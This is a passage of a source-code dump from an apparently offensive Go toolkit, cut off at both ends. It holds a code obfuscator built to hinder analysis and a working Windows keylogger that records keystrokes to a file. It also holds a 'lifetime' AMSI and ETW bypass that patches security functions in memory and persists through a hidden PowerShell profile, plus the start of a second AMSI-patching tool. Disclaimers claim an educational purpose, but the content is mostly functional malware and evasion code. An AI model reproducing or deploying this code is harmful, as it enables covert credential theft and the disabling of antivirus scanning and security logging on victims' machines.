fpath) 52 | return nil 53 | }) 54 | if err != nil { 55 | log.Println(err) 56 | } 57 | 58 | pkgs := make(map[string]*ast.Package) 59 | for _, filename := range list { 60 | if strings.HasSuffix(filename, ".go") && (filter == nil || filter(filename)) { 61 | if *verbose { 62 | fmt.Printf("Parsing %#v\n", filename) 63 | } 64 | src, err := parser.ParseFile(fset, filename, nil, mode) 65 | if err == nil { 66 | name := src.Name.Name 67 | pkg, found := pkgs[name] 68 | if !found { 69 | pkg = &ast.Package{ 70 | Name: name, 71 | Files: make(map[string]*ast.File), 72 | } 73 | pkgs[name] = pkg 74 | } 75 | pkg.Files[filename] = src 76 | } else { 77 | return nil, err 78 | } 79 | } 80 | } 81 | return pkgs, nil 82 | } 83 | 84 | func main() { 85 | flag.Parse() 86 | 87 | if srcPath == nil { 88 | panic("provide --srcpath") 89 | } 90 | 91 | fset := token.NewFileSet() 92 | pkgs, err := parsedir(fset, *srcPath, func(d string) bool { 93 | return true 94 | }, parser.AllErrors) 95 | if err != nil { 96 | panic(err) 97 | } 98 | 99 | if *deadcode { 100 | if err := injdeadcode(fset, pkgs); err != nil { 101 | panic(err) 102 | } 103 | } 104 | 105 | if *obfStrings { 106 | if err := encrypstr(fset, pkgs, *obfStringKey, *obfStringNonce); err != nil { 107 | panic(err) 108 | } 109 | } 110 | 111 | if *obfLoops { 112 | fortotalpoaslplaslpdplaplsd(fset, pkgs) 113 | } 114 | 115 | if *obfCalls { 116 | funcChangeHistory := randomizeCalls(fset, pkgs) 117 | if *verbose { 118 | log.Printf("Functions randomized : %v", funcChangeHistory) 119 | } 120 | } 121 | 122 | for _, pkg := range pkgs { 123 | for file, fileast := range pkg.Files { 124 | buf := new(bytes.Buffer) 125 | if err := format.Node(buf, fset, fileast); err != nil { 126 | panic(err) 127 | } 128 | fmt.Printf("%s\n", buf.Bytes()) 129 | if *writeChanges { 130 | ioutil.WriteFile(file, buf.Bytes(), 0644) 131 | } 132 | } 133 | } 134 | } 135 | 136 | func gendedcode() ([]ast.Stmt, error) { 137 | xMin := 1 138 | xMax := 10 139 | zXXXinit := rand.Intn(xMax-xMin+1) + xMin 140 | sXXXinit := rand.Intn(xMax-xMin+1) + xMin 141 | iXXXinit := rand.Intn(xMax-xMin+1) + xMin 142 | 143 | src := fmt.Sprintf(` 144 | package main 145 | func SOMEDEADCODE() { 146 | (func() { 147 | zXXX := int64(%d) 148 | sXXX := float64(%d) 149 | for iXXX := %d; iXXX < 15; iXXX++ { 150 | for jXXX := iXXX; jXXX < 15; jXXX++ { 151 | for zXXX := jXXX; zXXX < 15; zXXX++ { 152 | sXXX = (float64(iXXX+ jXXX) * float64(zXXX)) / float64(iXXX); 153 | } 154 | } 155 | } 156 | if sXXX == float64(zXXX) { 157 | ; 158 | } 159 | })() 160 | }`, zXXXinit, sXXXinit, iXXXinit) 161 | 162 | fset := token.NewFileSet() 163 | f, err := parser.ParseFile(fset, "src.go", src, 0) 164 | if err != nil { 165 | return nil, err 166 | } 167 | 168 | funcDecl, ok := f.Decls[0].(*ast.FuncDecl) 169 | if !ok { 170 | return nil, errors.New("failed to cast funcDecl") 171 | } 172 | 173 | return funcDecl.Body.List, nil 174 | } 175 | 176 | func injdeadcode(fset *token.FileSet, pkgs map[string]*ast.Package) error { 177 | deadcodeAST, err := gendedcode() 178 | if err != nil { 179 | return err 180 | } 181 | 182 | for _, pkg := range pkgs { 183 | for _, fileast := range pkg.Files { 184 | astutil.Apply(fileast, func(cr *astutil.Cursor) bool { 185 | cn, ok := cr.Node().(*ast.FuncDecl) 186 | if !ok { 187 | return true 188 | } 189 | 190 | if *verbose { 191 | log.Printf("Adding deadcode to %s", cn.Name.Name) 192 | } 193 | cn.Body.List = append(deadcodeAST, cn.Body.List...) 194 | return true 195 | }, nil) 196 | } 197 | } 198 | 199 | return nil 200 | } 201 | 202 | func fortotalpoaslplaslpdplaplsd(fset *token.FileSet, pkgs map[string]*ast.Package) map[string]string { 203 | funcChangeHistory := make(map[string]string) 204 | 205 | for _, pkg := range pkgs { 206 | for _, fileast := range pkg.Files { 207 | convertTopLevelFunctionsBodiesLoops(pkg.Name, fileast, funcChangeHistory) 208 | } 209 | } 210 | 211 | return funcChangeHistory 212 | } 213 | 214 | func convertTopLevelFunctionsBodiesLoops(pkgName string, fileAst *ast.File, changeHistory map[string]string) { 215 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 216 | stmtType, ok := cr.Node().(*ast.ForStmt) 217 | if !ok { 218 | return true 219 | } 220 | 221 | init := stmtType.Init 222 | cond := stmtType.Cond 223 | post := stmtType.Post 224 | body := stmtType.Body 225 | 226 | if init == nil || cond == nil || post == nil || body == nil { 227 | return true 228 | } 229 | 230 | if *verbose { 231 | log.Printf("For loop detected (init=%v, cond=%v, post=%v, body=%v)", init, cond, post, body) 232 | } 233 | 234 | loopInitIdent := ast.NewIdent(fmt.Sprintf("LOOP_INIT_%s", randStringRunes(6))) 235 | loopCondIdent := ast.NewIdent(fmt.Sprintf("LOOP_COND_%s", randStringRunes(6))) 236 | loopBodyIdent := ast.NewIdent(fmt.Sprintf("LOOP_BODY_%s", randStringRunes(6))) 237 | loopEndIdent := ast.NewIdent(fmt.Sprintf("LOOP_END_%s", randStringRunes(6))) 238 | 239 | astutil.Apply(body, func(crn *astutil.Cursor) bool { 240 | branch, ok := crn.Node().(*ast.BranchStmt) 241 | if !ok { 242 | return true 243 | } 244 | if branch.Tok == token.BREAK { 245 | crn.Replace(&ast.BranchStmt{ 246 | Tok: token.GOTO, 247 | Label: loopEndIdent, 248 | }) 249 | } 250 | return true 251 | }, nil) 252 | 253 | body.List = append(body.List, post, 254 | &ast.BranchStmt{ 255 | Tok: token.GOTO, 256 | Label: loopCondIdent, 257 | }) 258 | 259 | loopBegStmts := []ast.Stmt{ 260 | &ast.BranchStmt{ 261 | Tok: token.GOTO, 262 | Label: loopInitIdent, 263 | }, 264 | } 265 | 266 | loopInitStmts := []ast.Stmt{ 267 | &ast.LabeledStmt{ 268 | Label: loopInitIdent, 269 | Stmt: &ast.EmptyStmt{}, 270 | }, 271 | init, 272 | &ast.BranchStmt{ 273 | Tok: token.GOTO, 274 | Label: loopCondIdent, 275 | }, 276 | } 277 | 278 | loopCondStmts := []ast.Stmt{ 279 | &ast.LabeledStmt{ 280 | Label: loopCondIdent, 281 | Stmt: &ast.IfStmt{ 282 | Cond: cond, 283 | Body: &ast.BlockStmt{ 284 | List: []ast.Stmt{ 285 | &ast.BranchStmt{ 286 | Tok: token.GOTO, 287 | Label: loopBodyIdent, 288 | }, 289 | }, 290 | }, 291 | Else: &ast.BranchStmt{ 292 | Tok: token.GOTO, 293 | Label: loopEndIdent, 294 | }, 295 | }, 296 | }, 297 | } 298 | 299 | loopBodyStmts := []ast.Stmt{ 300 | &ast.LabeledStmt{ 301 | Label: loopBodyIdent, 302 | Stmt: body, 303 | }, 304 | } 305 | 306 | loopEndStmts := []ast.Stmt{ 307 | &ast.LabeledStmt{ 308 | Label: loopEndIdent, 309 | Stmt: &ast.BlockStmt{}, 310 | }, 311 | } 312 | 313 | ObfuscationBody := []ast.Stmt{} 314 | ObfuscationBody = append(ObfuscationBody, loopBegStmts...) 315 | ObfuscationBody = append(ObfuscationBody, loopInitStmts...) 316 | ObfuscationBody = append(ObfuscationBody, loopCondStmts...) 317 | ObfuscationBody = append(ObfuscationBody, loopBodyStmts...) 318 | ObfuscationBody = append(ObfuscationBody, loopEndStmts...) 319 | 320 | cr.Replace(&ast.BlockStmt{ 321 | List: ObfuscationBody, 322 | }) 323 | return true 324 | }, nil) 325 | } 326 | 327 | func randomizeCalls(fset *token.FileSet, pkgs map[string]*ast.Package) map[string]string { 328 | funcChangeHistory := make(map[string]string) 329 | 330 | for _, pkg := range pkgs { 331 | for _, fileast := range pkg.Files { 332 | newRandomizeTop(pkg.Name, fileast, funcChangeHistory) 333 | } 334 | } 335 | 336 | for _, pkg := range pkgs { 337 | for _, fileast := range pkg.Files { 338 | newRandomizeInner(pkg.Name, fileast, funcChangeHistory) 339 | } 340 | } 341 | 342 | return funcChangeHistory 343 | } 344 | 345 | func newRandomizeInner(pkgName string, fileAst *ast.File, changeHistory map[string]string) { 346 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 347 | callExpr, ok := cr.Node().(*ast.CallExpr) 348 | if !ok { 349 | return true 350 | } 351 | 352 | switch fun := callExpr.Fun.(type) { 353 | case *ast.SelectorExpr: 354 | ident, ok := fun.X.(*ast.Ident) 355 | if ok { 356 | if rname, ok := changeHistory[fmt.Sprintf("%s.%s", ident.Name, fun.Sel.Name)]; ok { 357 | fun.Sel = ast.NewIdent(rname) 358 | } 359 | } 360 | case *ast.Ident: 361 | if rname, ok := changeHistory[fmt.Sprintf("%s.%s", pkgName, fun.Name)]; ok { 362 | fun.Name = rname 363 | } 364 | } 365 | 366 | return true 367 | }, nil) 368 | } 369 | 370 | func newRandomizeTop(pkgName string, fileAst *ast.File, changeHistory map[string]string) { 371 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 372 | funcDecl, ok := cr.Node().(*ast.FuncDecl) 373 | if !ok { 374 | return true 375 | } 376 | 377 | if funcDecl.Recv != nil || funcDecl.Name.String() == "main" && pkgName == "main" || funcDecl.Name.String() == "init" { 378 | return true 379 | } 380 | 381 | outname := fmt.Sprintf("%s.%s", pkgName, funcDecl.Name.String()) 382 | 383 | if randomName, ok := changeHistory[outname]; ok { 384 | funcDecl.Name = ast.NewIdent(randomName) 385 | } else { 386 | randomName := randStringRunes(32) 387 | if isExportedFunction(string(funcDecl.Name.String())) { 388 | randomName = strings.Title(randomName) 389 | } 390 | changeHistory[outname] = randomName 391 | funcDecl.Name = ast.NewIdent(randomName) 392 | } 393 | 394 | return true 395 | }, nil) 396 | } 397 | 398 | func isExportedFunction(funcName string) bool { 399 | if len(funcName) == 0 { 400 | panic("this should not happen") 401 | return false 402 | } 403 | 404 | return unicode.IsUpper(rune(funcName[0])) 405 | } 406 | 407 | func randStringRunes(n int) string { 408 | b := make([]rune, n) 409 | for i := range b { 410 | b[i] = letterRunes[rand.Intn(len(letterRunes))] 411 | } 412 | return string(b) 413 | } 414 | func generateAESDecryptAST(key, nonce string) (*ast.FuncDecl, error) { 415 | src := fmt.Sprintf(` 416 | package main 417 | func AES_DECRYPT(s string) string { 418 | key, _ := hex.DecodeString("%s") 419 | ciphertext, _ := hex.DecodeString(s) 420 | nonce, _ := hex.DecodeString("%s") 421 | block, err := aes.NewCipher(key) 422 | if err != nil { 423 | panic(err.Error()) 424 | } 425 | 426 | aesgcm, err := cipher.NewGCM(block) 427 | if err != nil { 428 | panic(err.Error()) 429 | } 430 | 431 | plaintext, err := aesgcm.Open(nil, nonce, ciphertext, nil) 432 | if err != nil { 433 | panic(err.Error()) 434 | } 435 | return string(plaintext) 436 | }`, key, nonce) 437 | 438 | fset := token.NewFileSet() 439 | f, err := parser.ParseFile(fset, "src.go", src, 0) 440 | if err != nil { 441 | return nil, err 442 | } 443 | 444 | funcDecl, ok := f.Decls[0].(*ast.FuncDecl) 445 | if !ok { 446 | return nil, errors.New("failed to cast funcDecl") 447 | } 448 | 449 | return funcDecl, nil 450 | } 451 | 452 | func encrypstr(fset *token.FileSet, pkgs map[string]*ast.Package, key, nonce string) error { 453 | if len(key) != 64 { 454 | return errors.New("encryption key invalid length") 455 | } 456 | 457 | if len(nonce) != 24 { 458 | return errors.New("encryption nonce invalid length") 459 | } 460 | 461 | for _, pkg := range pkgs { 462 | for _, fileast := range pkg.Files { 463 | nencryptstring(pkg.Name, fileast, key, nonce) 464 | } 465 | } 466 | 467 | for _, pkg := range pkgs { 468 | for _, fileast := range pkg.Files { 469 | ndecryptstr(pkg.Name, fileast) 470 | } 471 | } 472 | 473 | aesDecAST, err := generateAESDecryptAST(key, nonce) 474 | if err != nil { 475 | return err 476 | } 477 | 478 | insertedFunction := false 479 | for _, pkg := range pkgs { 480 | for _, fileast := range pkg.Files { 481 | astutil.Apply(fileast, func(cr *astutil.Cursor) bool { 482 | if insertedFunction { 483 | return false 484 | } 485 | cn, ok := cr.Node().(*ast.FuncDecl) 486 | if !ok { 487 | return true 488 | } 489 | if cn.Name.String() != "main" { 490 | return true 491 | } 492 | cr.InsertBefore(aesDecAST) 493 | 494 | astutil.AddImport(fset, fileast, "crypto/aes") 495 | astutil.AddImport(fset, fileast, "crypto/cipher") 496 | astutil.AddImport(fset, fileast, "encoding/hex") 497 | insertedFunction = true 498 | return false 499 | }, nil) 500 | } 501 | } 502 | 503 | return nil 504 | } 505 | 506 | func ndecryptstr(pkgName string, fileAst *ast.File) { 507 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 508 | cn, ok := cr.Node().(*ast.BasicLit) 509 | if !ok { 510 | return true 511 | } 512 | 513 | if cn.Kind != token.STRING { 514 | return true 515 | } 516 | 517 | assignv, parentAssignOk := cr.Parent().(*ast.AssignStmt) 518 | identv, parentIdentOk := cr.Parent().(*ast.ValueSpec) 519 | callv, parentCallExprOk := cr.Parent().(*ast.CallExpr) 520 | 521 | isConst := false 522 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 523 | if (cr.Node() == identv) || (cr.Node() == assignv) || (cr.Node() == callv) { 524 | gendec, ok := cr.Parent().(*ast.GenDecl) 525 | if !ok { 526 | return true 527 | } 528 | isConst = gendec.Tok == token.CONST 529 | return false 530 | } 531 | return true 532 | }, nil) 533 | 534 | if (parentAssignOk || parentIdentOk || parentCallExprOk) && !isConst { 535 | cr.Replace(&ast.CallExpr{ 536 | Fun: ast.NewIdent("AES_DECRYPT"), 537 | Args: []ast.Expr{cn}, 538 | }) 539 | } 540 | 541 | return true 542 | }, nil) 543 | } 544 | 545 | func nencryptstring(pkgName string, fileAst *ast.File, key, nonce string) { 546 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 547 | cn, ok := cr.Node().(*ast.BasicLit) 548 | if !ok { 549 | return true 550 | } 551 | 552 | if cn.Kind != token.STRING { 553 | return true 554 | } 555 | 556 | assignv, parentAssign := cr.Parent().(*ast.AssignStmt) 557 | identv, parentIdent := cr.Parent().(*ast.ValueSpec) 558 | callv, parentCallExpr := cr.Parent().(*ast.CallExpr) 559 | 560 | isConst := false 561 | astutil.Apply(fileAst, func(cr *astutil.Cursor) bool { 562 | if (cr.Node() == identv) || (cr.Node() == assignv) || (cr.Node() == callv) { 563 | gendec, ok := cr.Parent().(*ast.GenDecl) 564 | if !ok { 565 | return true 566 | } 567 | isConst = gendec.Tok == token.CONST 568 | return false 569 | } 570 | return true 571 | }, nil) 572 | 573 | if (parentAssign || parentIdent || parentCallExpr) && !isConst { 574 | if *verbose { 575 | log.Printf("Enc:Assign : %#v, Current : %#v Parent : %#v\n", cn, cr.Node(), cr.Parent()) 576 | } 577 | valInterpreted, err := strconv.Unquote(cn.Value) 578 | if err != nil { 579 | panic(err) 580 | } 581 | cr.Replace(&ast.BasicLit{ 582 | Value: fmt.Sprintf("\"%s\"", stringencrypt(valInterpreted, key, nonce)), 583 | Kind: token.STRING, 584 | }) 585 | } 586 | 587 | return true 588 | }, nil) 589 | } 590 | 591 | func stringencrypt(plaintext string, keyHex, nonceHex string) string { 592 | key, _ := hex.DecodeString(keyHex) 593 | block, err := aes.NewCipher(key) 594 | if err != nil { 595 | panic(err.Error()) 596 | } 597 | 598 | nonce, _ := hex.DecodeString(nonceHex) 599 | aesgcm, err := cipher.NewGCM(block) 600 | if err != nil { 601 | panic(err.Error()) 602 | } 603 | 604 | ciphertext := aesgcm.Seal(nil, nonce, []byte(plaintext), nil) 605 | return fmt.Sprintf("%x", ciphertext) 606 | } -------------------------------------------------------------------------------- /GoObfuscator/readme.md: -------------------------------------------------------------------------------- 1 | # GolangObfuscator 2 | - GO / Golang Obfuscator / AST Obfuscation 3 | - rewritten version of gomambojambo 4 | 5 | ### AST-based obfuscation. The idea is to give it a package path, and it will obfuscate it. 6 | 7 | - Randomization of function names, and function calls 8 | - For loops converted to goto with tags 9 | - Strings obfuscated/encrypted using AES 10 | - Adding some deadcode to functions 11 | 12 | ### How to invoke it? 13 | ```go 14 | go run GoFuscator.go -srcpath HEREPUTTHEFILEPATHTOOBFUSCATE -writechanges -calls -loops -strings -stringsKey "0101010101010101010101010101010101010101010101010101010101010101" -stringNonce "010101010101010101010101" -verbose -deadcode 15 | ``` 16 | 17 | ### Showcase: 18 | - given code to be obfuscated: 19 | 20 | ```go 21 | package main 22 | 23 | import f"fmt" 24 | func main() { 25 | f.Println("HELLO WORLD!!!") 26 | f.Scanln() 27 | } 28 | ``` 29 | 30 | - will be obfuscated to: 31 | ```go 32 | package main 33 | 34 | import ( 35 | "crypto/aes" 36 | "crypto/cipher" 37 | "encoding/hex" 38 | f "fmt" 39 | ) 40 | 41 | func Cccsanurtswmkdkmwehqrryyrefqaeoo(s string) string { 42 | key, _ := hex.DecodeString("0101010101010101010101010101010101010101010101010101010101010101") 43 | ciphertext, _ := hex.DecodeString(s) 44 | nonce, _ := hex.DecodeString("010101010101010101010101") 45 | block, err := aes.NewCipher(key) 46 | if err != nil { 47 | panic(err.Error()) 48 | } 49 | aesgcm, err := cipher.NewGCM(block) 50 | if err != nil { 51 | panic(err.Error()) 52 | } 53 | plaintext, err := aesgcm.Open(nil, nonce, ciphertext, nil) 54 | if err != nil { 55 | panic(err.Error()) 56 | } 57 | return string(plaintext) 58 | } 59 | 60 | func main() { 61 | (func() { 62 | zXXX := int64(1) 63 | sXXX := 64 | float64(10) 65 | { 66 | goto LOOP_INIT_rqeqqu 67 | LOOP_INIT_rqeqqu: 68 | ; 69 | iXXX := 8 70 | goto LOOP_COND_vtkqrp 71 | LOOP_COND_vtkqrp: 72 | if iXXX < 15 { 73 | goto LOOP_BODY_gmhcpa 74 | } else { 75 | goto LOOP_END_jgbues 76 | } 77 | LOOP_BODY_gmhcpa: 78 | { 79 | { 80 | goto LOOP_INIT_aubjmu 81 | LOOP_INIT_aubjmu: 82 | ; 83 | jXXX := iXXX 84 | goto LOOP_COND_euhtju 85 | LOOP_COND_euhtju: 86 | if jXXX < 15 { 87 | goto LOOP_BODY_ojpzle 88 | } else { 89 | goto LOOP_END_trkleq 90 | } 91 | LOOP_BODY_ojpzle: 92 | { 93 | { 94 | goto LOOP_INIT_uaiajl 95 | LOOP_INIT_uaiajl: 96 | ; 97 | zXXX := jXXX 98 | goto LOOP_COND_xynqml 99 | LOOP_COND_xynqml: 100 | if zXXX < 15 { 101 | goto LOOP_BODY_fyntxm 102 | } else { 103 | goto LOOP_END_ddxtia 104 | } 105 | LOOP_BODY_fyntxm: 106 | { 107 | sXXX = (float64(iXXX+jXXX) * float64(zXXX)) / float64(iXXX) 108 | zXXX++ 109 | goto LOOP_COND_xynqml 110 | } 111 | LOOP_END_ddxtia: 112 | { 113 | } 114 | } 115 | jXXX++ 116 | goto LOOP_COND_euhtju 117 | } 118 | LOOP_END_trkleq: 119 | { 120 | } 121 | } 122 | iXXX++ 123 | goto LOOP_COND_vtkqrp 124 | } 125 | LOOP_END_jgbues: 126 | { 127 | } 128 | } 129 | if sXXX == float64(zXXX) { 130 | } 131 | })() 132 | 133 | f.Println(Cccsanurtswmkdkmwehqrryyrefqaeoo("fa3cf6d626d752bcb8e94bbc8fc7947be9599ce7ab093a220ffd9c58d4")) 134 | f.Scanln() 135 | } 136 | ``` -------------------------------------------------------------------------------- /GoRedOps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvilBytecode/GoRedOps/2546c2971f42b4ef43e1414f57a5aa7e4d984cef/GoRedOps.png -------------------------------------------------------------------------------- /Keylogger/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "time" 7 | "unicode/utf16" 8 | "unsafe" 9 | 10 | "golang.org/x/sys/windows" 11 | ) 12 | 13 | var ( 14 | user32 = windows.NewLazySystemDLL("user32.dll") 15 | getAsyncKeyState = user32.NewProc("GetAsyncKeyState") 16 | getKeyboardState = user32.NewProc("GetKeyboardState") 17 | mapVirtualKey = user32.NewProc("MapVirtualKeyW") 18 | toUnicode = user32.NewProc("ToUnicode") 19 | ) 20 | 21 | const ( 22 | mapVK = 2 23 | logFilePath = "C:\\temp\\keylogger.txt" 24 | ) 25 | 26 | func GetAsyncKeyState(vKey int) bool { 27 | ret, _, _ := getAsyncKeyState.Call(uintptr(vKey)) 28 | return ret == 0x8001 || ret == 0x8000 29 | } 30 | 31 | func GetKeyboardState(lpKeyState *[256]byte) bool { 32 | ret, _, _ := getKeyboardState.Call(uintptr(unsafe.Pointer(lpKeyState))) 33 | return ret != 0 34 | } 35 | 36 | func MapVirtualKey(uCode uint, uMapType uint) uint { 37 | ret, _, _ := mapVirtualKey.Call(uintptr(uCode), uintptr(uMapType)) 38 | return uint(ret) 39 | } 40 | 41 | func ToUnicode(wVirtKey uint, wScanCode uint, lpKeyState *[256]byte, pwszBuff *uint16, cchBuff int, wFlags uint) int { 42 | ret, _, _ := toUnicode.Call( 43 | uintptr(wVirtKey), 44 | uintptr(wScanCode), 45 | uintptr(unsafe.Pointer(lpKeyState)), 46 | uintptr(unsafe.Pointer(pwszBuff)), 47 | uintptr(cchBuff), 48 | uintptr(wFlags), 49 | ) 50 | return int(ret) 51 | } 52 | 53 | func openLogFile(path string) (*os.File, error) { 54 | if _, err := os.Stat(path); os.IsNotExist(err) { 55 | file, err := os.Create(path) 56 | if err != nil { 57 | return nil, fmt.Errorf("creating file: %w", err) 58 | } 59 | file.Close() 60 | } 61 | return os.OpenFile(path, os.O_APPEND|os.O_WRONLY, 0600) 62 | } 63 | 64 | func main() { 65 | file, err := openLogFile(logFilePath) 66 | if err != nil { 67 | fmt.Println("error:", err) 68 | return 69 | } 70 | defer file.Close() 71 | 72 | var keyState [256]byte 73 | var buffer [2]uint16 74 | 75 | for { 76 | for ascii := 9; ascii <= 254; ascii++ { 77 | if GetAsyncKeyState(ascii) { 78 | if !GetKeyboardState(&keyState) { 79 | continue 80 | } 81 | 82 | virtualKey := MapVirtualKey(uint(ascii), mapVK) 83 | ret := ToUnicode(uint(ascii), uint(virtualKey), &keyState, &buffer[0], len(buffer), 0) 84 | 85 | if ret > 0 { 86 | runes := utf16.Decode(buffer[:ret]) 87 | text := string(runes) 88 | file.WriteString(text) 89 | } 90 | 91 | time.Sleep(40 * time.Millisecond) 92 | } 93 | } 94 | time.Sleep(40 * time.Millisecond) 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /Keylogger/readme.md: -------------------------------------------------------------------------------- 1 | # Keylogger in Go 2 | 3 | This Go program is a simple keylogger that monitors keyboard input and logs it to a file. Below is an explanation of its components: 4 | 5 | ## How It Works 6 | 7 | - **GetAsyncKeyState**: This function checks the state of a specified virtual key. It is used to detect key presses. 8 | - **GetKeyboardState**: This function retrieves the status of all virtual keys. It is used to check the current state of the keyboard. 9 | - **MapVirtualKeyW**: This function translates a virtual-key code into a scan code or character value. It is used to translate virtual key codes to Unicode. 10 | - **ToUnicode**: This function translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters. 11 | 12 | The program continuously loops to monitor key presses and writes the corresponding Unicode characters to a log file located at `C:\temp\keylogger.txt`. 13 | 14 | ## Usage 15 | 16 | To run the program, simply compile it using the Go compiler and execute the resulting binary. The program will start monitoring keyboard input and logging it to the specified file. 17 | 18 | ```bash 19 | go build main.go 20 | .\main.exe 21 | ``` 22 | 23 | ## Disclaimer 24 | 25 | This program is intended for educational purposes only. It is meant to demonstrate how keyloggers work and how they can be implemented in Go. It should not be used for malicious purposes. 26 | 27 | ## License 28 | 29 | This program is released under the Unlicense, which allows anyone to use, modify, and distribute the code freely, without restrictions. 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 EvilBytecode 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to use the Software for educational and authorized cybersecurity research purposes only, subject to the following conditions: 7 | 8 | The above copyright notice, this permission notice, and the following disclaimer shall be included in all copies or substantial portions of the Software. 9 | 10 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 11 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS (INCLUDING EvilBytecode) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 12 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE, COPYING, DOWNLOADING, OR OTHER DEALINGS IN THE SOFTWARE. 13 | 14 | DISCLAIMER: I, EvilBytecode, release this project strictly for educational, academic, and authorized cybersecurity research purposes. 15 | By accessing, downloading, copying, using, or modifying this software, you agree to these terms. 16 | You must obtain explicit written permission from system owners before conducting any testing using this software. 17 | Unauthorized use, distribution, or deployment of this software against any third party, device, network, or system without prior consent is strictly forbidden and illegal. 18 | I, EvilBytecode, disclaim all responsibility, liability, or consequences arising from any misuse, illegal activities, damages, or losses resulting from this software. -------------------------------------------------------------------------------- /Lifetime-AMSI-ETW-Bypass/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "os/exec" 6 | "path/filepath" 7 | "fmt" 8 | ) 9 | 10 | func main() { 11 | up, err := os.UserHomeDir() 12 | if err != nil { 13 | panic(err) 14 | } 15 | psprofpath := filepath.Join(up, "Documents", "WindowsPowerShell", "Microsoft.PowerShell_profile.ps1") 16 | 17 | err = os.MkdirAll(filepath.Dir(psprofpath), os.ModePerm) 18 | if err != nil { 19 | panic(err) 20 | } 21 | 22 | file, err := os.OpenFile(psprofpath, os.O_APPEND|os.O_WRONLY|os.O_CREATE, os.ModePerm) 23 | if err != nil { 24 | panic(err) 25 | } 26 | defer file.Close() 27 | 28 | pscript := ` 29 | $amsixetwpatch = @" 30 | using System; 31 | using System.Diagnostics; 32 | using System.Runtime.InteropServices; 33 | 34 | public class Patcher 35 | { 36 | [DllImport("kernel32.dll")] 37 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 38 | 39 | [DllImport("kernel32.dll")] 40 | public static extern IntPtr GetModuleHandle(string lpModuleName); 41 | 42 | [DllImport("kernel32.dll")] 43 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 44 | 45 | [DllImport("kernel32.dll", SetLastError = true)] 46 | private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); 47 | 48 | public static bool PatchAmsi() 49 | { 50 | IntPtr h = GetModuleHandle("a" + "m" + "s" + "i" + ".dll"); 51 | if (h == IntPtr.Zero) return false; 52 | IntPtr a = GetProcAddress(h, "A" + "m" + "s" + "i" + "S" + "c" + "a" + "n" + "B" + "u" + "f" + "f" + "e" + "r"); 53 | if (a == IntPtr.Zero) return false; 54 | UInt32 oldProtect; 55 | if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect)) return false; 56 | byte[] patch = { 0x31, 0xC0, 0xC3 }; 57 | Marshal.Copy(patch, 0, a, patch.Length); 58 | return VirtualProtect(a, (UIntPtr)5, oldProtect, out oldProtect); 59 | } 60 | 61 | public static void PatchEtwEventWrite() 62 | { 63 | const uint PAGE_EXECUTE_READWRITE = 0x40; 64 | string ntdllModuleName = "ntdll.dll"; 65 | string etwEventWriteFunctionName = "EtwEventWrite"; 66 | 67 | IntPtr ntdllModuleHandle = GetModuleHandle(ntdllModuleName); 68 | IntPtr etwEventWriteAddress = GetProcAddress(ntdllModuleHandle, etwEventWriteFunctionName); 69 | 70 | byte[] retOpcode = { 0xC3 }; // RET opcode 71 | 72 | uint oldProtect; 73 | VirtualProtect(etwEventWriteAddress, (UIntPtr)retOpcode.Length, PAGE_EXECUTE_READWRITE, out oldProtect); 74 | 75 | int bytesWritten; 76 | WriteProcessMemory(Process.GetCurrentProcess().Handle, etwEventWriteAddress, retOpcode, (uint)retOpcode.Length, out bytesWritten); 77 | } 78 | } 79 | "@ 80 | Add-Type -TypeDefinition $amsixetwpatch -Language CSharp 81 | [Patcher]::PatchAmsi() 82 | [Patcher]::PatchEtwEventWrite() 83 | cls 84 | cls 85 | ` 86 | _, err = file.WriteString(pscript + "\n") 87 | if err != nil { 88 | panic(err) 89 | } 90 | sigma := exec.Command("attrib", "+h", "+s", psprofpath) 91 | err = sigma.Run() 92 | if err != nil { 93 | panic(err) 94 | } 95 | fmt.Println("Lifetime Amsi and ETW Bypass Applied.") 96 | fmt.Scanln() 97 | } 98 | -------------------------------------------------------------------------------- /LifetimeAMSIBypass/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "time" 7 | "unsafe" 8 | "golang.org/x/sys/windows" 9 | ) 10 | // https://github.com/EvilBytecode / codepulze on discord / telegram 11 | const ( 12 | vmoperation = 0x0008 13 | vmread = 0x0010 14 | vmwrite = 0x0020 15 | th32snapproc = 0x2 16 | ptchdrq = 500 17 | ) 18 | 19 | var patch = []byte{0xEB} 20 | 21 | func SPatt(startaddr []byte, pattern []byte) int { 22 | patsiz := len(pattern) 23 | for i := 0; i < len(startaddr); i++ { 24 | if startaddr[i] == pattern[0] { 25 | j := 1 26 | for j < patsiz && (pattern[j] == '?' || startaddr[i+j] == pattern[j]) { 27 | j++ 28 | } 29 | if j == patsiz { 30 | return i + 3 31 | } 32 | } 33 | } 34 | return 